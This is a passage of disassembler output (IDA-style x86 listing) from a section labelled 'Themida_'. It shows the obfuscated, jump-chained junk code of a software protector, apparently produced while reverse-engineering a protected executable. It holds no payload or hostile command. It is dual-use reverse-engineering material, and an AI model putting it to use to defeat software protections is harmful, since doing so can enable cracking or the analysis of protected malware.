		jmp	loc_5A050D
; END OF FUNCTION CHUNK	FOR sub_5999A4
; ---------------------------------------------------------------------------


loc_5A48B3:				; CODE XREF: Themida_:0059AAD3j
		mov	esi, 85F268Eh
		not	esi
		jmp	loc_59847A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5A48BF:				; CODE XREF: sub_5936EC+B153j
		add	esi, ebp
		pop	ebp
		push	0A5Bh
		mov	[esp+10h+var_10], edx
		mov	edx, 563B73D0h
		add	edx, 0A9C48C34h
		push	eax
		mov	eax, 139763F8h
		jmp	loc_59D8CB
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A48E0:				; CODE XREF: sub_59FD45+38Ej
		xor	eax, esi
		mov	esi, [esp+0]
		jmp	loc_59652F
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A48EA:				; CODE XREF: sub_59390B+A167j
		xor	edx, 0E204F416h
		xor	edi, edx
		pop	edx
		sub	ebx, edi
		pop	edi
		push	4DE7h
		jmp	loc_593FC6
; ---------------------------------------------------------------------------


loc_5A4900:				; CODE XREF: sub_59390B+7D57j
		push	esi
		mov	esi, 5159461Dh
		not	esi
		jmp	loc_59CE21
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A490D:				; CODE XREF: Themida_:00592279j
		push	eax
		mov	ah, 8Eh
		xor	dl, ah
		pop	eax
		mov	ch, dl
		jmp	loc_59B98F
; ---------------------------------------------------------------------------


loc_5A491A:				; CODE XREF: Themida_:005948C6j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A24A0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	78E5h
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_59EBC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A494F:				; CODE XREF: sub_59390B+67Aj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_5A37F8
; ---------------------------------------------------------------------------


loc_5A4964:				; CODE XREF: sub_59390B+4F55j
		add	esp, 4
		sub	ebx, 29A83BECh
		add	ebx, edx
		push	ebp
		mov	ebp, 3BF421B2h
		sub	ebp, 124BE5C6h
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 7BD56988h
		jmp	loc_593447
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4989:				; CODE XREF: Themida_:00598E0Fj
		add	edx, edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_5A5AF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_5A4994:				; CODE XREF: sub_5A0060-A2ACj
		xor	[esp-8+arg_4], edx
		xor	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	word ptr [esp-8+arg_4],	ax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------


loc_5A49A6:				; CODE XREF: Themida_:005A2E7Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	40ABh
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5A512F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A49C3:				; CODE XREF: sub_59E918+17E9j
		mov	cx, [esp+2+var_2]
		push	eax
		mov	eax, esp
		jmp	loc_5936CE
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A49CF:				; CODE XREF: sub_594D13+67Fj
		or	ebp, edx
		pop	edx
		jmp	loc_5A3A75
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_5A49D7:				; CODE XREF: Themida_:005A28E9j
		sub	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_591381
; ---------------------------------------------------------------------------


loc_5A49E1:				; CODE XREF: Themida_:00596E1Ej
		pop	edx
		push	eax
		push	ecx
		push	73861C88h
		pop	ecx
		jmp	loc_59F3F4
; ---------------------------------------------------------------------------


loc_5A49EF:				; CODE XREF: Themida_:00591459j
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		push	eax
		jmp	loc_59C250
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	4B21h
		mov	[esp], esi
		push	5A5Eh
		jmp	loc_597A05
; ---------------------------------------------------------------------------


loc_5A4A10:				; CODE XREF: Themida_:005A005Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5976AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4A1B:				; CODE XREF: sub_59390B+2204j
		mov	[esp-8+arg_0], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		jmp	loc_59DBBC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4A35:				; CODE XREF: Themida_:00599F6Bj
		add	esi, 4
		jmp	loc_59E2ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_5A4A3D:				; CODE XREF: sub_5A0BFE-EF07j
		add	ebx, 0EEF64E7h
		jmp	loc_5A4233
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4A48:				; CODE XREF: sub_59390B+C13j
		pop	esp
		jmp	loc_5A41B8
; ---------------------------------------------------------------------------


loc_5A4A4E:				; CODE XREF: sub_59390B+1C0j
		mov	eax, [esp+0]
		add	esp, 4
		push	ecx
		jmp	$+5
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ebx
		push	eax
		mov	eax, 73607749h
		sub	eax, 0FFFFFFFFh
		jmp	sub_5999A4
; ---------------------------------------------------------------------------


loc_5A4A8D:				; CODE XREF: sub_59390B+2FFBj
		mov	esp, [esp+0]
		add	[esp-4+arg_0], ebp
		mov	ebp, [esp+0]
		jmp	loc_598415
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A4AA4:				; CODE XREF: Themida_:005A0EB3j
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59A478
; ---------------------------------------------------------------------------


loc_5A4AB3:				; CODE XREF: Themida_:00599C97j
		xor	edi, 6EF16174h
		xor	edi, 3F0F1F23h
		jmp	loc_5A4594
; ---------------------------------------------------------------------------


loc_5A4AC4:				; CODE XREF: Themida_:0059B608j
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_59620C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4AE4:				; CODE XREF: sub_59390B+DCA2j
		mov	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 2B395BC1h
		jmp	loc_597ABB
; ---------------------------------------------------------------------------


loc_5A4AFA:				; CODE XREF: sub_59390B-85Ej
		add	esp, 4
		pop	dword ptr [esp+0]
		pop	esp
		sub	edx, 1CFB2D3Bh
		sub	edx, 11F937DDh
		push	eax
		mov	eax, 25C871A8h
		add	edx, eax
		pop	eax
		add	edx, eax
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, 6445337h
		sub	eax, 4A5F3E7Eh
		and	eax, 5CCF7D19h
		push	eax
		not	dword ptr [esp+0]
		pop	eax
		and	eax, 224E2A00h
		or	eax, 28E634A5h
		xor	eax, 0F264F0Dh
		sub	edx, eax
		pop	eax
		push	esi
		push	0D340CF0h
		pop	esi
		jmp	loc_5A23B0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4B53:				; CODE XREF: Themida_:005A1CF2j
		push	eax
		jmp	loc_5932A1
; ---------------------------------------------------------------------------


loc_5A4B59:				; CODE XREF: Themida_:00598848j
		push	esi
		mov	esi, 1CCF42AAh
		jmp	loc_599E1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5A4B64:				; CODE XREF: sub_5A4CDD-64EBj
		add	edx, 4FF25952h
		add	edx, edi
		jmp	loc_596E39
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4B71:				; CODE XREF: sub_59390B+A714j
		push	dword ptr [esp+0]
		push	dword ptr [esp+0]
		jmp	loc_5933C1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4B7C:				; CODE XREF: Themida_:00596F08j
		pop	esp
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		add	dword ptr [esp], 4E9B6EF0h
		mov	ebx, [esp]
		jmp	loc_59431A
; ---------------------------------------------------------------------------


loc_5A4B98:				; CODE XREF: Themida_:00592150j
		mov	esi, 7C7620C5h
		jmp	loc_5998EC
; ---------------------------------------------------------------------------


loc_5A4BA2:				; CODE XREF: Themida_:00595134j
		pop	edx
		add	eax, edi
		jmp	loc_59602C
; ---------------------------------------------------------------------------


loc_5A4BAA:				; CODE XREF: Themida_:005963D5j
		sub	edx, ecx
		jmp	loc_5A0CB7
; ---------------------------------------------------------------------------


loc_5A4BB1:				; CODE XREF: Themida_:005A2E08j
		add	dh, ah
		pop	eax
		mov	ax, [esp]
		add	esp, 2
		push	cx
		mov	cl, 0FFh
		add	dh, 1Dh
		add	dh, 8Eh
		sub	dh, cl
		sub	dh, 8Eh
		sub	esp, 2
		jmp	loc_5A3127
; ---------------------------------------------------------------------------


loc_5A4BD2:				; CODE XREF: Themida_:00598668j
		mov	ebp, 7B106ECCh
		jmp	loc_59B7F6
; ---------------------------------------------------------------------------


loc_5A4BDC:				; CODE XREF: Themida_:005A357Aj
		add	ah, bh
		pop	bx
		shl	ah, 2
		jmp	loc_5A1A1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4BE8:				; CODE XREF: sub_59390B+1026Bj
		pop	edx
		add	edi, 45A932B2h
		push	eax
		mov	eax, 47C45359h
		sub	edi, eax
		jmp	loc_5A3A38
; ---------------------------------------------------------------------------


loc_5A4BFC:				; CODE XREF: sub_59390B+D8B9j
		xor	edi, ebp
		jmp	loc_5926CA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4C03:				; CODE XREF: Themida_:0059579Ej
		push	small 6DDAh
		mov	[esp], cx
		jmp	loc_597CB8
; ---------------------------------------------------------------------------


loc_5A4C10:				; CODE XREF: Themida_:005A14EAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_598BC2
; ---------------------------------------------------------------------------


loc_5A4C1B:				; CODE XREF: Themida_:00597559j
		add	esi, 620105EAh
		push	ecx
		mov	ecx, 75F86E86h
		sub	esi, ecx
		pop	ecx
		add	esi, 11974E10h
		push	ebp
		jmp	loc_59C20E
; ---------------------------------------------------------------------------


loc_5A4C36:				; CODE XREF: Themida_:0059B465j
		add	eax, 0C57CC9Fh
		add	ebx, eax
		pop	eax
		push	eax
		push	79180AB7h
		pop	eax
		add	eax, 3DA4149Fh
		inc	eax
		jmp	loc_59A634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4C50:				; CODE XREF: sub_59390B+AA21j
		xor	edx, 0AEC2964Ah
		add	edi, 106B04E5h
		add	edi, edx
		jmp	loc_5A36EB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4C63:				; CODE XREF: Themida_:0059E7D2j
		push	eax
		push	ebp
		mov	ebp, 6B961842h
		push	ecx
		mov	ecx, 615653FBh
		or	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 475265E5h
		and	esi, 24E42540h
		shl	esi, 6
		jmp	loc_590AB1
; ---------------------------------------------------------------------------


loc_5A4C87:				; CODE XREF: Themida_:0059A998j
		sub	al, 56h
		jmp	loc_5A10C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4C8E:				; CODE XREF: sub_59390B+EC42j
		add	esp, 4
		xor	edx, edi
		jmp	loc_597FED
; ---------------------------------------------------------------------------


loc_5A4C9B:				; CODE XREF: sub_59390B+7469j
		add	edi, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		add	edi, 7EB967D9h
		sub	edi, esi
		jmp	loc_595C51
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4CB3:				; CODE XREF: Themida_:005A0CBDj
		pop	ecx
		push	eax
		push	ebx
		jmp	loc_5A3F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4CBB:				; CODE XREF: sub_59390B+11BC9j
		mov	ecx, 2
		jmp	loc_59DF9E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5A4CC5:				; CODE XREF: sub_5A4CDD-961Bj
		xchg	edx, [esp+8+var_8]
		pop	esp
		jmp	loc_595A72
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4CCE:				; CODE XREF: sub_59390B+3444j
		neg	ebp
		jmp	loc_5910AF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4CD5:				; CODE XREF: Themida_:00593605j
		mov	esp, [esp]
		jmp	loc_5A44C7

; =============== S U B	R O U T	I N E =======================================



sub_5A4CDD	proc near		; CODE XREF: sub_594DA8+63ECj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005916B9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00591F3B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592087 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00592AF7 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00592F45 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595476 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595A72 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00595E89 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00595EE1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005966D9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596E39 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059728C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598FCD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059921A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005992DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059ABA5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059B6BB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C996 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CDA0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DCEF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059DD67 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E3E7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059E7EA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1EF7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2E55 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A2EEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4603 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4B64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4CC5 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, 1
		add	ebp, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A2EEA
sub_5A4CDD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A4CF8	proc near		; DATA XREF: Themida_:005909F0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00593863 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595AE2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00596855 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DDF7 SIZE 00000008 BYTES

		mov	cx, [esp+0]
		push	ecx
		push	5FBFh
		jmp	loc_59DDF7
sub_5A4CF8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5A4D07:				; CODE XREF: sub_59A75E-7FBBj
		add	ax, 273Eh
		mov	bx, word ptr [esp+2+var_4+2]
		push	ecx
		jmp	loc_595F27
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_5A4D15:				; CODE XREF: Themida_:00595684j
		pop	eax
		add	eax, 4
		push	ecx
		push	ebx
		mov	ebx, 40783101h
		add	ebx, 1DCC7CC0h
		dec	ebx
		add	ebx, 0DC11541Ah
		mov	ecx, ebx
		jmp	loc_59A4E4
; ---------------------------------------------------------------------------


loc_5A4D36:				; CODE XREF: Themida_:0059256Bj
		push	cx
		mov	ch, 23h
		sub	al, ch
		pop	cx
		add	al, 0A8h
		xor	al, 10h
		xor	dl, al
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59B476
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4D4F:				; CODE XREF: sub_59390B+C262j
		mov	dl, 1Eh
		sub	al, dl
		pop	dx
		push	ebx
		push	ecx
		mov	ch, 88h
		jmp	loc_5927BF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4D5E:				; CODE XREF: Themida_:0059D5C1j
		push	678Ch
		jmp	loc_5A04F1
; ---------------------------------------------------------------------------


loc_5A4D68:				; CODE XREF: Themida_:00591C0Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A34EE
; ---------------------------------------------------------------------------


loc_5A4D76:				; CODE XREF: Themida_:005A3456j
		mov	[esp], ebp
		push	4
		mov	ebp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, ebp
		mov	ebp, [esp]
		push	35C4h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_595828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5A4DC3:				; CODE XREF: sub_5A3536-19E1j
		neg	ebx
		shl	ebx, 3
		push	1143h
		mov	[esp+10h+var_10], edx
		jmp	loc_5A07DC
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------


loc_5A4DD5:				; CODE XREF: Themida_:00599D65j
		mov	[esp], ebp
		push	4679h
		jmp	loc_599C9C
; ---------------------------------------------------------------------------


loc_5A4DE2:				; CODE XREF: Themida_:0059E880j
		mov	ebx, 393200FCh
		xor	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A505E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4DF7:				; CODE XREF: sub_59390B+11DC1j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		pop	ebx
		pop	ebp


loc_5A4E02:				; CODE XREF: Themida_:005A5B6Cj
		sub	esp, 4
		mov	[esp+0], esi
		push	ecx
		mov	ecx, 4E1B1B54h
		neg	ecx
		or	ecx, 6E8E2FF6h
		shl	ecx, 2
		sub	ecx, 8EA45CD6h
		mov	esi, ecx
		pop	ecx
		jmp	loc_59B596
; ---------------------------------------------------------------------------


loc_5A4E27:				; CODE XREF: sub_59390B-149Fj
		pop	ecx
		add	esp, 4
		add	esp, 4
		sub	ebx, 4635D1Ah
		mov	eax, [ebx]
		mov	ebx, [esp-22h+arg_18+2]
		push	esi
		jmp	loc_59DBB5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_5A4E42:				; CODE XREF: sub_5A2801+CBFj
		pop	esp
		push	esp
		pop	[esp+8+var_8]
		push	ecx
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		add	[esp+8+var_4], ecx
		jmp	loc_599714
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A4E5A:				; CODE XREF: sub_599AE1-497Aj
		add	esp, 4
		sub	esi, edi
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		jmp	loc_59DDCB
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5A4E6E:				; CODE XREF: Themida_:005A10CBj
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 65725FA8h
		xor	ebx, 65725FACh
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_5A3399
; ---------------------------------------------------------------------------


loc_5A4EB1:				; CODE XREF: Themida_:005A536Ej
		add	eax, 1
		jmp	loc_599453
; ---------------------------------------------------------------------------


loc_5A4EBB:				; CODE XREF: Themida_:0059456Fj
		mov	ebx, 63F05925h
		push	edi
		push	esi
		push	72DB30FBh
		pop	esi
		jmp	loc_5A4F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_5A4ECD:				; CODE XREF: sub_59886E-1060j
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_59C7FA
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------


loc_5A4ED8:				; CODE XREF: Themida_:00594CD4j
		add	ebx, 0C92210Bh
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 2
		jmp	loc_5A37D7
; ---------------------------------------------------------------------------


loc_5A4EF2:				; CODE XREF: Themida_:005A43B0j
		add	[esp], al
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A4EFB:				; CODE XREF: Themida_:0059CD62j
		add	eax, 27887610h
		pop	ebp
		sub	eax, 17D22F14h
		add	eax, ebx
		add	eax, 17D22F14h
		push	edi
		push	4338h
		mov	[esp], esi
		jmp	loc_5970D4
; ---------------------------------------------------------------------------


loc_5A4F1B:				; CODE XREF: Themida_:0059D1F1j
		add	al, 1Bh
		sub	dh, al
		pop	eax
		sub	bl, dh
		jmp	loc_59D62A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_5A4F27:				; CODE XREF: sub_59E918+1Fj
		add	al, cl
		jmp	loc_594C7D
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_5A4F2E:				; CODE XREF: Themida_:00591FF1j
		mov	[esp], ecx
		jmp	loc_59C419
; ---------------------------------------------------------------------------


loc_5A4F36:				; CODE XREF: Themida_:0059E7D9j
		pop	edx
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		jmp	loc_59D96E
; ---------------------------------------------------------------------------


loc_5A4F42:				; CODE XREF: Themida_:005A4EC8j
		not	esi
		xor	esi, 6A7C76D9h
		jmp	loc_59D05A

; =============== S U B	R O U T	I N E =======================================



sub_5A4F4F	proc near		; CODE XREF: sub_59390B+23D2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590BE6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059195D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059254C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595934 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005986CC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059B306 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59B306
sub_5A4F4F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4F5D:				; CODE XREF: sub_59390B+61F3j
		mov	edi, [esp+0]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		movsx	ecx, ax
		push	7A81h
		mov	[esp+0], ecx
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_5A4F7D:				; CODE XREF: sub_59FCCB-5605j
		sub	bh, ah
		pop	eax
		and	bh, 1Dh
		jmp	loc_59EB56
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_5A4F88:				; CODE XREF: Themida_:00597BCFj
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_5A3198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4F94:				; CODE XREF: sub_59390B+6352j
		pop	eax
		push	edx
		mov	edx, 4
		jmp	loc_59ABDA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4FA0:				; CODE XREF: Themida_:0059138Aj
		push	edi
		mov	edi, offset loc_5D42EA
		push	eax
		mov	eax, 0FFA2BD18h
		add	edi, eax
		pop	eax
		add	edx, 6BD97E71h
		add	edx, edi
		sub	edx, 6BD97E71h
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A2741
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_599308
; ---------------------------------------------------------------------------


loc_5A4FD1:				; CODE XREF: Themida_:005A01C2j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A1D53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A4FDF:				; CODE XREF: sub_59390B+F05Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp-8+arg_0]
		jmp	loc_59736D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A4FF4:				; CODE XREF: Themida_:00591E0Bj
		xor	edi, edx
		xor	edx, edi
		shl	edx, 6
		dec	edx
		xor	edx, 81BB1079h
		sub	edi, edx
		pop	edx
		jmp	loc_595353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A500A:				; CODE XREF: sub_59390B+F39Bj
		xor	[esp-18h+arg_10], edi
		xor	edi, [esp-18h+arg_10]
		pop	esp
		mov	word ptr [esp-1Ch+arg_14], cx
		push	edx
		mov	dh, 0F6h
		mov	cl, dh
		jmp	loc_593AA9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A501F:				; CODE XREF: sub_59CAFB-98BAj
		pop	esp
		push	edx
		push	70473E98h
		pop	edx
		mov	eax, 70473E99h
		xor	eax, edx
		push	dword ptr [esp+0]
		jmp	loc_598F28
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5036:				; CODE XREF: sub_59390B+CF9Dj
		mov	edx, 4
		sub	esi, 40BA7780h
		jmp	loc_5A05BC
; ---------------------------------------------------------------------------


loc_5A5046:				; CODE XREF: sub_59390B-2738j
		add	ebx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		sub	edi, 573B5A83h
		add	edi, ebx
		jmp	loc_5A3A80
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A505E:				; CODE XREF: Themida_:005A4DF2j
		push	esi
		mov	esi, 16632207h
		mov	ebp, esi
		jmp	loc_595072
; ---------------------------------------------------------------------------


loc_5A506B:				; CODE XREF: Themida_:00596CE6j
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_59EA02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


